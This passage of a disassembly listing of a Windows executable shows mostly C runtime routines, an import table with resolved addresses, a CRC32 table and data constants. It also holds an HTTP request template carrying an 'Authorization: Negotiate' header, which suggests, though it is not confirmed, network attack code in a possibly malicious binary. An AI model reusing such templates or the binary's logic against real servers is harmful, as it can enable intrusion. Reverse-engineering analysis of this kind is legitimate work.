esi, ecx mov dword ptr [esi], offset off_427CF4 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426557 push dword ptr [edi+4] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42655D push dword ptr [edi+4] push eax call sub_41C890 pop ecx pop ecx jmp short loc_42655D ; --------------------------------------------------------------------------- loc_426557: ; CODE XREF: sub_42651A+16j mov eax, [edi+4] mov [esi+4], eax loc_42655D: ; CODE XREF: sub_42651A+2Ej ; sub_42651A+3Bj mov eax, esi pop edi pop esi retn 4 sub_42651A endp ; =============== S U B R O U T I N E ======================================= sub_426564 proc near ; CODE XREF: sub_4260BA+16j ; ___:004264C4p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427CF4 jz short locret_426579 push dword ptr [ecx+4] call sub_41D65F pop ecx locret_426579: ; CODE XREF: sub_426564+Aj retn sub_426564 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; DATA XREF: ___:00427CF8o mov eax, [ecx+4] test eax, eax jnz short locret_426586 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426586: ; CODE XREF: sub_42657A+5j retn sub_42657A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426587 proc near ; CODE XREF: sub_426173+37p ; sub_42629A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D10 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call near ptr 2650368h nop pop edi pop esi leave retn 8 sub_426587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p ; sub_4263E5+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_4265D3 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_4265D3: ; CODE XREF: sub_4265C1+Bj cmp dword_4DBE94, 0 jnz short loc_4265ED cmp ax, 41h jb short locret_426634 cmp ax, 5Ah ja short locret_426634 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4265ED: ; CODE XREF: sub_4265C1+19j cmp ax, 100h jnb short loc_426607 push 1 push eax call sub_42686F pop ecx test eax, eax pop ecx jnz short loc_426607 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426607: ; CODE XREF: sub_4265C1+30j ; sub_4265C1+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DBE94 call sub_426636 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426634 mov ax, [ebp+var_2] locret_426634: ; CODE XREF: sub_4265C1+1Fj ; sub_4265C1+25j ... leave retn sub_4265C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DC020, esi jnz short loc_4266AC push esi push esi push 1 pop ebx push ebx push offset dword_427920 mov edi, 100h push edi push esi nop call near ptr 2630000h test eax, eax jz short loc_42668A mov dword_4DC020, ebx jmp short loc_4266AC ; --------------------------------------------------------------------------- loc_42668A: ; CODE XREF: sub_426636+4Aj push esi push esi push ebx push offset word_4CB89C push edi push esi nop call near ptr 2640000h test eax, eax jz loc_42682B mov dword_4DC020, 2 loc_4266AC: ; CODE XREF: sub_426636+2Ej ; sub_426636+52j cmp [ebp+arg_C], esi jle short loc_4266C1 push [ebp+arg_C] push [ebp+arg_8] call sub_42683F pop ecx pop ecx mov [ebp+arg_C], eax loc_4266C1: ; CODE XREF: sub_426636+79j mov eax, dword_4DC020 cmp eax, 1 jnz short loc_4266E8 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop jmp loc_42682D ; --------------------------------------------------------------------------- loc_4266E8: ; CODE XREF: sub_426636+93j cmp eax, 2 jnz loc_42682B cmp [ebp+arg_18], esi jnz short loc_4266FE mov eax, dword_4DBEA4 mov [ebp+arg_18], eax loc_4266FE: ; CODE XREF: sub_426636+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2830000h nop mov [ebp+var_20], eax cmp eax, esi jz loc_42682B mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426744 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426744: ; CODE XREF: sub_426636+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2830000h nop test eax, eax jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_42682B mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4267C7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_4267C7: ; CODE XREF: sub_426636+17Dj cmp ebx, esi jz short loc_42682B push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jz short loc_42682B test byte ptr [ebp+arg_4+1], 4 jz short loc_426805 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426827 cmp eax, edi jl short loc_4267F6 mov eax, edi loc_4267F6: ; CODE XREF: sub_426636+1BCj push eax push ebx push [ebp+arg_10] call sub_41BFD0 add esp, 0Ch jmp short loc_426827 ; --------------------------------------------------------------------------- loc_426805: ; CODE XREF: sub_426636+1B1j cmp [ebp+arg_14], esi jnz short loc_42680E push esi push esi jmp short loc_426814 ; --------------------------------------------------------------------------- loc_42680E: ; CODE XREF: sub_426636+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426814: ; CODE XREF: sub_426636+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 26F0000h mov edi, eax cmp edi, esi jz short loc_42682B loc_426827: ; CODE XREF: sub_426636+1B8j ; sub_426636+1CDj mov eax, edi jmp short loc_42682D ; --------------------------------------------------------------------------- loc_42682B: ; CODE XREF: sub_426636+66j ; sub_426636+B5j ... xor eax, eax loc_42682D: ; CODE XREF: sub_426636+ADj ; sub_426636+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426636 endp ; =============== S U B R O U T I N E ======================================= sub_42683F proc near ; CODE XREF: sub_426636+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42685E loc_42684F: ; CODE XREF: sub_42683F+1Dj cmp word ptr [eax], 0 jz short loc_42685E inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_42684F loc_42685E: ; CODE XREF: sub_42683F+Ej ; sub_42683F+14j cmp word ptr [eax], 0 pop esi jnz short loc_42686C sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_42686C: ; CODE XREF: sub_42683F+24j mov eax, edx retn sub_42683F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42686F proc near ; CODE XREF: sub_4265C1+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_4268AF cmp [ebp+arg_0], 100h jnb short loc_426893 movzx eax, [ebp+arg_0] mov ecx, off_43CE8C mov ax, [ecx+eax*2] jmp short loc_4268B6 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_42686F+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_4268C1 add esp, 18h test eax, eax jnz short loc_4268B3 loc_4268AF: ; CODE XREF: sub_42686F+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: sub_42686F+3Ej mov eax, [ebp+var_4] loc_4268B6: ; CODE XREF: sub_42686F+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_42686F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268C1 proc near ; CODE XREF: sub_42686F+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D48 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DC024 xor edi, edi cmp eax, edi jnz short loc_426930 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi nop call near ptr 2600000h test eax, eax jz short loc_42690E mov eax, esi jmp short loc_42692B ; --------------------------------------------------------------------------- loc_42690E: ; CODE XREF: sub_4268C1+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB89C push esi push edi nop call near ptr 26007BEh test eax, eax jz loc_426A72 push 2 pop eax loc_42692B: ; CODE XREF: sub_4268C1+4Bj mov dword_4DC024, eax loc_426930: ; CODE XREF: sub_4268C1+2Fj cmp eax, 1 jnz short loc_42694C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2600000h jmp loc_426A74 ; --------------------------------------------------------------------------- loc_42694C: ; CODE XREF: sub_4268C1+72j cmp eax, 2 jnz loc_426A72 cmp [ebp+arg_10], edi jnz short loc_426962 mov eax, dword_4DBEA4 mov [ebp+arg_10], eax loc_426962: ; CODE XREF: sub_4268C1+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 2830000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426A72 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BF70 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_4269C0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4269C0: ; CODE XREF: sub_4268C1+EAj cmp [ebp+var_2C], edi jz loc_426A72 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2830000h test eax, eax jz loc_426A72 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426A15 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426A15: ; CODE XREF: sub_4268C1+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426A72 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426A29 mov eax, dword_4DBE94 loc_426A29: ; CODE XREF: sub_4268C1+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 26007BEh nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426A72 cmp word ptr [esi], 0FFFFh jnz short loc_426A72 push edi push ebx push [ebp+arg_C] call sub_41D670 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426A74 ; --------------------------------------------------------------------------- loc_426A72: ; CODE XREF: sub_4268C1+61j ; sub_4268C1+8Ej ... xor eax, eax loc_426A74: ; CODE XREF: sub_4268C1+86j ; sub_4268C1+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268C1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426A88 proc near ; DATA XREF: ___:00427EFCo ; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D76C sub_426A88 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426AA6 mov ecx, [ebp+8] jmp loc_40D76C ; --------------------------------------------------------------------------- locret_426AA6: ; CODE XREF: ___:00426A98j retn ; --------------------------------------------------------------------------- loc_426AA7: ; DATA XREF: sub_40D340o mov eax, offset dword_427ED0 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426ABC: ; DATA XREF: ___:00427F2Co lea ecx, [ebp-1Ch] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AC4: ; DATA XREF: sub_40D4E2o mov eax, offset dword_427F00 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 10h loc_426AD0: ; DATA XREF: sub_40DA4Fo mov eax, offset dword_427F30 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426AE2: ; DATA XREF: sub_4260FEo mov eax, offset dword_427F90 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AF4: ; DATA XREF: sub_426173o mov eax, offset dword_428028 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B06: ; DATA XREF: sub_4261D0o mov eax, offset dword_42804C jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B18: ; DATA XREF: sub_426218o mov eax, offset dword_428070 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426B2A: ; DATA XREF: sub_42629Ao mov eax, offset dword_4280D0 jmp loc_41D2FB ; --------------------------------------------------------------------------- dd 133h dup(0) dd 25E0000h, 25F0000h, 25F0A3Fh, 25F0A95h, 25F0EC5h, 2600000h dd 26007BEh, 2610000h, 261052Ah, 2610755h, 2620000h, 26202B9h dword_427030 dd 26202E8h ; DATA XREF: ___:004239E2r dd 262035Fh, 2620660h, 262069Fh, 2620779h, 2630000h, 2640000h dd 2650000h, 2650368h, 2650899h, 26508ADh, 26508CFh, 2660000h dword_427064 dd 26605F1h ; DATA XREF: sub_41F216:loc_41F247r dword_427068 dd 2660763h ; DATA XREF: sub_41E742+240r dd 77E75CB5h dword_427070 dd 2660830h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2660BA5h, 2670000h, 2670A4Bh dword_427080 dd 2670EEFh ; DATA XREF: sub_40111D+29r ; sub_40C3E8+2E9r ... dword_427084 dd 2680000h ; DATA XREF: ___:004015E2r ; sub_4116D6+32r dd 2680158h dword_42708C dd 2680231h ; DATA XREF: sub_419C09+B9r dd 2680840h dword_427094 dd 26808B7h ; DATA XREF: sub_4119F9:loc_411A8Ar dword_427098 dd 26808E4h ; DATA XREF: ___:loc_4013DCr dd 2680B92h, 2680CB0h dword_4270A4 dd 2680D5Ch ; DATA XREF: sub_409909+2r dd 2680E76h, 2690000h dword_4270B0 dd 2690648h ; DATA XREF: ___:0040124Dr ; sub_41AA1E+8Cr dword_4270B4 dd 26906DBh ; DATA XREF: sub_4116D6:loc_4117C2r dd 26A0000h, 26A0B0Ch dword_4270C0 dd 26A0BB9h ; DATA XREF: sub_409909:loc_409E17r dword_4270C4 dd 26B0000h ; DATA XREF: sub_409909+11r ; sub_4172C1+60r ... dd 26C0000h, 26D0000h, 26D0544h, 26E0000h, 77F7E300h, 77F7E21Fh dd 26E0518h, 26E06D1h dword_4270E8 dd 26F0000h ; DATA XREF: sub_419177+Fr ; sub_41E0D4+54r dword_4270EC dd 2700000h ; DATA XREF: sub_4119F9+Br dd 27007FFh, 2710000h dword_4270F8 dd 27106E5h ; DATA XREF: sub_4187E0+36r dd 2710910h, 2710A67h dword_427104 dd 2710FCDh ; DATA XREF: sub_411920+3Ar ; sub_41A1B1+79r dword_427108 dd 2720000h ; DATA XREF: sub_411827+23r ; sub_41A1B1+3Br dd 272124Ah, 2730000h, 2730A5Bh, 2740000h, 27404B3h, 2750000h dd 2760000h, 2770000h, 2770BA3h, 2780000h, 278018Eh, 278028Bh dd 2780590h, 2790000h, 2790852h dword_427148 dd 27A0000h ; DATA XREF: sub_4172C1+BCr dd 27B0000h dword_427150 dd 27C0000h ; DATA XREF: sub_417493+21r ; sub_41761C+4Ar dword_427154 dd 27C0AEFh ; DATA XREF: sub_417493+10r ; sub_41761C+40r ... dd 27C0B76h dword_42715C dd 27C0E5Bh ; DATA XREF: sub_41761C+56r dd 27D0000h, 27E0000h, 27F0000h, 27F06B3h, 2800000h, 280031Fh dd 2800495h, 28009DFh, 2810000h, 2820000h dword_427188 dd 2830000h ; DATA XREF: sub_4190A5+13r ; ___:00423A57r dd 2840000h, 2840468h, 284094Ch, 2840C5Fh, 2850000h, 2860000h dd 286207Fh, 2870000h, 2871B00h, 2871B1Ah, 2880000h, 2880DEBh dd 2890000h, 0 dd 71AB5A01h, 71AB4122h dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h dd 71AB3E5Dh dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 2 dup(0) dword_427220 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o ; sub_401ACD+3514o ... dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o ; sub_401ACD+388Ao ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr ; sub_40D774r ... align 10h dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do ; sub_40D824+5Bo ... dbl_427690 dq 9.765625e-4 ; DATA XREF: ___:00416A5Dr ; ___:00416A78r ... dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r ; sub_417E84+3A7r dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br ; sub_417E84+2D5r ... dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr ; sub_417E84+138r ... dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r ; sub_417E84+308r dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr ; sub_41D19B+6Cr ... dd 0FFFFFFFFh, 41E2AAh, 41E2BEh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o align 4 byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43D0A4o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43D0A0o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43D31Co dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr ; sub_421BFF+ACr ... dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o align 4 dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o dd offset loc_422AEA align 8 dd offset sub_422AC8 dd offset sub_422AD2 dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: 